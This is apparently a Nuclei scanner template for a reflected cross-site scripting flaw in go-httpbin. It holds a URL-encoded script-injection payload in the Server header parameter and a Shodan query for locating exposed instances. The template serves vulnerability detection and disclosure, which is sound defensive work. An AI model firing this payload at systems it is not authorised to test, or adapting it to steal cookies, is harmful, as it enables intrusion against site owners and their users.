id: httpbin-contenttype-xss

info:
  name: HTTPBin - Cross-Site Scripting
  author: ayushxtha
  severity: medium
  description: |
    HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/mccutchen/go-httpbin/security/advisories/GHSA-528q-4pgm-wvg2
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query: html:"httpbingo.org"
  tags: xss,httpbin,oss

http:
  - method: GET
    path:
      - '{{BaseURL}}/response-headers?Content-Type=text/html&Server=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Server":'
          - '"<script>alert(document.domain)</script>"'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203f0800739cc50aedd362715f157b0ea3523ca025e9024890d4591cd9a6fadf3e022100ea931eebff8f4f6dfd84ef6505451434cd179228e6cec4de40d2f1a75ac85c4e:922c64590222798bb761d5b6d8e72950